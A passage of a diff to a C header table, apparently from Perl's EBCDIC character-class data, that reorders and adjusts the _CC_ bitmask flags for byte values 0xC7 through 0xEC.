(1U<<_CC_NONLATIN1_FOLD)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_NON_FINAL_FOLD)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR)|(1U<<_CC_XDIGIT)|(1U<<_CC_IS_IN_SOME_FOLD), +/* 0xC7 U+47 'G' */ (1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD), +/* 0xC8 U+48 'H' */ (1U<<_CC_NONLATIN1_FOLD)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_NON_FINAL_FOLD)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD), +/* 0xC9 U+49 'I' */ (1U<<_CC_NONLATIN1_FOLD)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_NON_FINAL_FOLD)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD), /* 0xCA U+AD I8=E8 SOFT HYPHEN */ (1U<<_CC_GRAPH)|(1U<<_CC_PRINT)|(1U<<_CC_QUOTEMETA)|(1U<<_CC_UTF8_IS_START), -/* 0xCB U+F4 I8=E9 o with '^' */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_UTF8_IS_START), -/* 0xCC U+F6 I8=EA o with diaeresis */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_UTF8_IS_START), -/* 0xCD U+F2 I8=EB o with grave */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_UTF8_IS_START), -/* 0xCE U+F3 I8=EC o with acute */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_UTF8_IS_START), -/* 0xCF U+F5 I8=ED o with '~' */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_UTF8_IS_START), +/* 0xCB U+F4 I8=E9 o with '^' */ (1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_UTF8_IS_START), +/* 0xCC U+F6 I8=EA o with diaeresis */ (1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_UTF8_IS_START), +/* 0xCD U+F2 I8=EB o with grave */ (1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_UTF8_IS_START), +/* 0xCE U+F3 I8=EC o with acute */ (1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_UTF8_IS_START), +/* 0xCF U+F5 I8=ED o with '~' */ (1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_UTF8_IS_START), /* 0xD0 U+7D '}' */ (1U<<_CC_ASCII)|(1U<<_CC_GRAPH)|(1U<<_CC_PRINT)|(1U<<_CC_PUNCT)|(1U<<_CC_QUOTEMETA), -/* 0xD1 U+4A 'J' */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_NONLATIN1_FOLD)|(1U<<_CC_NON_FINAL_FOLD)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR), -/* 0xD2 U+4B 'K' */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_NONLATIN1_FOLD)|(1U<<_CC_NONLATIN1_SIMPLE_FOLD)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR), -/* 0xD3 U+4C 'L' */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_NONLATIN1_FOLD)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR), -/* 0xD4 U+4D 'M' */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR), -/* 0xD5 U+4E 'N' */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_NONLATIN1_FOLD)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR), -/* 0xD6 U+4F 'O' */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR), -/* 0xD7 U+50 'P' */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR), -/* 0xD8 U+51 'Q' */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR), -/* 0xD9 U+52 'R' */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR), +/* 0xD1 U+4A 'J' */ (1U<<_CC_NONLATIN1_FOLD)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_NON_FINAL_FOLD)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD), +/* 0xD2 U+4B 'K' */ (1U<<_CC_NONLATIN1_SIMPLE_FOLD)|(1U<<_CC_NONLATIN1_FOLD)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD), +/* 0xD3 U+4C 'L' */ (1U<<_CC_NONLATIN1_FOLD)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD), +/* 0xD4 U+4D 'M' */ (1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD), +/* 0xD5 U+4E 'N' */ (1U<<_CC_NONLATIN1_FOLD)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD), +/* 0xD6 U+4F 'O' */ (1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD), +/* 0xD7 U+50 'P' */ (1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD), +/* 0xD8 U+51 'Q' */ (1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD), +/* 0xD9 U+52 'R' */ (1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD), /* 0xDA U+B9 I8=EE SUPERSCRIPT 1 */ (1U<<_CC_GRAPH)|(1U<<_CC_PRINT)|(1U<<_CC_UTF8_IS_START), -/* 0xDB U+FB I8=EF u with '^' */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_UTF8_IS_START), -/* 0xDC U+FC I8=F0 u with diaeresis */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_UTF8_IS_START), -/* 0xDD U+F9 I8=F1 u with grave */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_UTF8_IS_START)|(1U<<_CC_UTF8_START_BYTE_IS_FOR_AT_LEAST_SURROGATE), -/* 0xDE U+FA I8=F2 u with acute */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_UTF8_IS_START)|(1U<<_CC_UTF8_START_BYTE_IS_FOR_AT_LEAST_SURROGATE), -/* 0xDF U+FF I8=F3 y with diaeresis */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_LOWER)|(1U<<_CC_NONLATIN1_FOLD)|(1U<<_CC_NONLATIN1_SIMPLE_FOLD)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_UTF8_IS_START)|(1U<<_CC_UTF8_START_BYTE_IS_FOR_AT_LEAST_SURROGATE), +/* 0xDB U+FB I8=EF u with '^' */ (1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_UTF8_IS_START), +/* 0xDC U+FC I8=F0 u with diaeresis */ (1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_UTF8_IS_START), +/* 0xDD U+F9 I8=F1 u with grave */ (1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_UTF8_IS_START)|(1U<<_CC_UTF8_START_BYTE_IS_FOR_AT_LEAST_SURROGATE), +/* 0xDE U+FA I8=F2 u with acute */ (1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_UTF8_IS_START)|(1U<<_CC_UTF8_START_BYTE_IS_FOR_AT_LEAST_SURROGATE), +/* 0xDF U+FF I8=F3 y with diaeresis */ (1U<<_CC_NONLATIN1_SIMPLE_FOLD)|(1U<<_CC_NONLATIN1_FOLD)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_UTF8_IS_START)|(1U<<_CC_UTF8_START_BYTE_IS_FOR_AT_LEAST_SURROGATE), /* 0xE0 U+5C '\' */ (1U<<_CC_ASCII)|(1U<<_CC_GRAPH)|(1U<<_CC_PRINT)|(1U<<_CC_PUNCT)|(1U<<_CC_QUOTEMETA), /* 0xE1 U+F7 I8=F4 DIVISION */ (1U<<_CC_GRAPH)|(1U<<_CC_PRINT)|(1U<<_CC_QUOTEMETA)|(1U<<_CC_UTF8_IS_START)|(1U<<_CC_UTF8_START_BYTE_IS_FOR_AT_LEAST_SURROGATE), -/* 0xE2 U+53 'S' */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_NONLATIN1_FOLD)|(1U<<_CC_NONLATIN1_SIMPLE_FOLD)|(1U<<_CC_NON_FINAL_FOLD)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR), -/* 0xE3 U+54 'T' */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_NONLATIN1_FOLD)|(1U<<_CC_NON_FINAL_FOLD)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR), -/* 0xE4 U+55 'U' */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR), -/* 0xE5 U+56 'V' */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR), -/* 0xE6 U+57 'W' */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_NONLATIN1_FOLD)|(1U<<_CC_NON_FINAL_FOLD)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR), -/* 0xE7 U+58 'X' */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR), -/* 0xE8 U+59 'Y' */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_NONLATIN1_FOLD)|(1U<<_CC_NON_FINAL_FOLD)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR), -/* 0xE9 U+5A 'Z' */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR), +/* 0xE2 U+53 'S' */ (1U<<_CC_NONLATIN1_SIMPLE_FOLD)|(1U<<_CC_NONLATIN1_FOLD)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_NON_FINAL_FOLD)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD), +/* 0xE3 U+54 'T' */ (1U<<_CC_NONLATIN1_FOLD)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_NON_FINAL_FOLD)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD), +/* 0xE4 U+55 'U' */ (1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD), +/* 0xE5 U+56 'V' */ (1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD), +/* 0xE6 U+57 'W' */ (1U<<_CC_NONLATIN1_FOLD)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_NON_FINAL_FOLD)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD), +/* 0xE7 U+58 'X' */ (1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD), +/* 0xE8 U+59 'Y' */ (1U<<_CC_NONLATIN1_FOLD)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_NON_FINAL_FOLD)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD), +/* 0xE9 U+5A 'Z' */ (1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD), /* 0xEA U+B2 I8=F5 SUPERSCRIPT 2 */ (1U<<_CC_GRAPH)|(1U<<_CC_PRINT)|(1U<<_CC_UTF8_IS_START)|(1U<<_CC_UTF8_START_BYTE_IS_FOR_AT_LEAST_SURROGATE), -/* 0xEB U+D4 I8=F6 O with '^' */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR)|(1U<<_CC_UTF8_IS_START)|(1U<<_CC_UTF8_START_BYTE_IS_FOR_AT_LEAST_SURROGATE), -/* 0xEC U+D6 I8=F7 O with DIAERESIS */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR)|(1U<<_CC_UTF8_IS_START)|(1U<<_CC_UTF8_START_BYTE_IS_FOR_AT_LEAST_SURROGATE), -/* 0xED U+D2 I8=F8 O with GRAVE */ 